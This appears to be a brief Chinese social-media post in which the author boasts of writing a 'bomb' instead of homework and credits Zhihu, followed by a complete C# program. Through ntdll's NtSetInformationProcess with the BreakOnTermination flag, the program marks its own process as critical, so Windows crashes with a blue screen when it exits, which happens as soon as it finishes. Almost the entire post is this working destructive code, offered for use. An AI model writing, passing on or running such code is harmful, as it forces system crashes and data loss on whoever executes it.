今天没有写作业,但是写了个炸弹
感谢知乎
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class CriticalProcess
{
[DllImport("ntdll.dll",SetLastError =true)]
private static extern int NtSetInformationProcess(IntPtr hProcess ,int processInformationClass, ref int processInformation, int processInformationLength);
static void Main(string[] args)
{
int isCritical=1;
int BreakOntermination= 0x1D;
Process.EnterDebugMode ();
NtSetInformationProcess(Process .GetCurrentProcess ().Handle , BreakOntermination ,ref isCritical ,sizeof (int));
}
}